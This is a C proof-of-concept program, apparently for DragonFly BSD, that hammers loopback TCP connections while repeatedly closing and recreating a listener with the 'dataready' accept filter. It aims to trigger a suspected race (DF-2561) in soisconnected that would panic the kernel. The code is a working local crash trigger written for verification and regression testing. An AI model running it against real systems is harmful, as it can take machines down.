/*
 * DF-2561 PoC - soisconnected vs do_setopt_accept_filter race
 *
 * Claim: soisconnected dereferences head->so_accf without NULL-check
 * and without a lock that interlocks with do_setopt_accept_filter,
 * which can free+NULL so_accf concurrently from a different thread.
 *
 * Strategy:
 *  - Thread GROUP "connectors": open many client sockets, connect to
 *    a listening TCP socket on 127.0.0.1, send 1 byte (to drive
 *    accf_data upcall -> soisconnected on the child).
 *  - Thread GROUP "rotators": repeatedly close the listening socket
 *    (forcing sofree -> soqflush -> sodealloc -> do_setopt_accept_filter(so,NULL)
 *     which frees+NULLs so_accf) while there are in-flight children
 *     whose soisconnected may be dereferencing head->so_accf, and
 *    immediately re-create a fresh listener with the accept filter.
 *
 * If the race exists: kernel panics (NULL deref / UAF / KKASSERT).
 * If the pool token interlock holds: runs forever without crashing.
 *
 * Build:  cc -O2 -o df2561 df2561.c -lpthread
 * Run:    ./df2561 <seconds>   (default 20)
 */

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <time.h>
#include <fcntl.h>

/* SO_ACCEPTFILTER = 0x1000 on DragonFly */
#ifndef SO_ACCEPTFILTER
#define SO_ACCEPTFILTER 0x1000
#endif

static volatile int g_stop = 0;
static volatile int g_listen_fd = -1;
static in_port_t g_port = 0;
static int g_rotations = 0;
static int g_connects = 0;
static int g_acceptfilter_ok = 0;
static int g_acceptfilter_fail = 0;

static void
msleep_ms(int ms)
{
    struct timespec ts = { ms / 1000, (ms % 1000) * 1000000L };
    nanosleep(&ts, NULL);
}

static int
set_nonblocking(int fd)
{
    int fl = fcntl(fd, F_GETFL, 0);
    if (fl >= 0) (void)fcntl(fd, F_SETFL, fl | O_NONBLOCK);
    return fl;
}

/* Set the "dataready" accept filter on a listening socket. */
static int
set_accf(int fd)
{
    struct accept_filter_arg afa;
    memset(&afa, 0, sizeof(afa));
    strncpy(afa.af_name, "dataready", sizeof(afa.af_name) - 1);
    if (setsockopt(fd, SOL_SOCKET, SO_ACCEPTFILTER, &afa, sizeof(afa)) < 0)
        return -1;
    return 0;
}

/* Create a fresh listener with accept filter on a new ephemeral port. */
static int
make_listener(in_port_t *pport)
{
    int fd = socket(AF_INET, SOCK_STREAM, 0);
    if (fd < 0) return -1;
    int one = 1;
    setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    struct sockaddr_in sa;
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = 0;
    socklen_t slen = sizeof(sa);
    if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(fd); return -1; }
    if (getsockname(fd, (struct sockaddr *)&sa, &slen) < 0) { close(fd); return -1; }
    *pport = sa.sin_port;
    if (listen(fd, 64) < 0) { close(fd); return -1; }
    if (set_accf(fd) < 0) {
        g_acceptfilter_fail++;
        close(fd);
        return -1;
    }
    g_acceptfilter_ok++;
    return fd;
}

/* Acceptor: accept() loop on g_listen_fd, keep queue drained. */
static void *
acceptor_fn(void *arg)
{
    (void)arg;
    while (!g_stop) {
        int fd = g_listen_fd;
        if (fd < 0) { msleep_ms(1); continue; }
        struct sockaddr_in sa;
        socklen_t slen = sizeof(sa);
        int cfd = accept(fd, (struct sockaddr *)&sa, &slen);
        if (cfd >= 0) {
            char buf[64];
            (void)read(cfd, buf, sizeof(buf));
            close(cfd);
        }
    }
    return NULL;
}

/* Connector: hammer connections to the current listener. */
static void *
connector_fn(void *arg)
{
    (void)arg;
    while (!g_stop) {
        int fd = socket(AF_INET, SOCK_STREAM, 0);
        if (fd < 0) { msleep_ms(1); continue; }
        set_nonblocking(fd);
        struct sockaddr_in sa;
        memset(&sa, 0, sizeof(sa));
        sa.sin_family = AF_INET;
        sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
        sa.sin_port = g_port;
        int rc = connect(fd, (struct sockaddr *)&sa, sizeof(sa));
        if (rc == 0 || (rc < 0 && errno == EINPROGRESS)) {
            char b = 'x';
            (void)write(fd, &b, 1);
            g_connects++;
        }
        close(fd);
    }
    return NULL;
}

/* Rotator: close+recreate the listener rapidly to drive sodealloc
 * (which calls do_setopt_accept_filter(so, NULL) -> frees so_accf). */
static void *
rotator_fn(void *arg)
{
    (void)arg;
    while (!g_stop) {
        int old = g_listen_fd;
        if (old >= 0) {
            close(old);
        }
        in_port_t port = 0;
        int nfd = make_listener(&port);
        if (nfd < 0) {
            g_listen_fd = -1;
            msleep_ms(1);
            continue;
        }
        g_port = port;
        g_listen_fd = nfd;
        g_rotations++;
    }
    return NULL;
}

int main(int argc, char **argv)
{
    int seconds = 20;
    if (argc > 1) seconds = atoi(argv[1]);
    if (seconds < 1) seconds = 1;

    in_port_t port = 0;
    int fd = make_listener(&port);
    if (fd < 0) {
        fprintf(stderr, "make_listener failed (is accf_data loaded?)\n");
        return 2;
    }
    g_listen_fd = fd;
    g_port = port;
    printf("[parent] listener fd=%d port=%hu accf_ok=%d\n",
           fd, ntohs(port), g_acceptfilter_ok);
    fflush(stdout);

    signal(SIGPIPE, SIG_IGN);

    pthread_t acc[2], conn[8], rot[2];
    for (int i = 0; i < 2; i++) pthread_create(&acc[i], NULL, acceptor_fn, NULL);
    for (int i = 0; i < 8; i++) pthread_create(&conn[i], NULL, connector_fn, NULL);
    for (int i = 0; i < 2; i++) pthread_create(&rot[i], NULL, rotator_fn, NULL);

    printf("[parent] hammering %ds ...\n", seconds);
    fflush(stdout);
    for (int s = 0; s < seconds && !g_stop; s++) {
        sleep(1);
        printf("[parent] t+%d  rotations=%d connects=%d accf_ok=%d accf_fail=%d\n",
               s + 1, g_rotations, g_connects, g_acceptfilter_ok, g_acceptfilter_fail);
        fflush(stdout);
    }
    g_stop = 1;
    msleep_ms(200);

    printf("[parent] DONE: rotations=%d connects=%d accf_ok=%d accf_fail=%d\n",
           g_rotations, g_connects, g_acceptfilter_ok, g_acceptfilter_fail);
    printf("[parent] RESULT=NO_CRASH (kernel survived the stress)\n");
    fflush(stdout);
    return 0;
}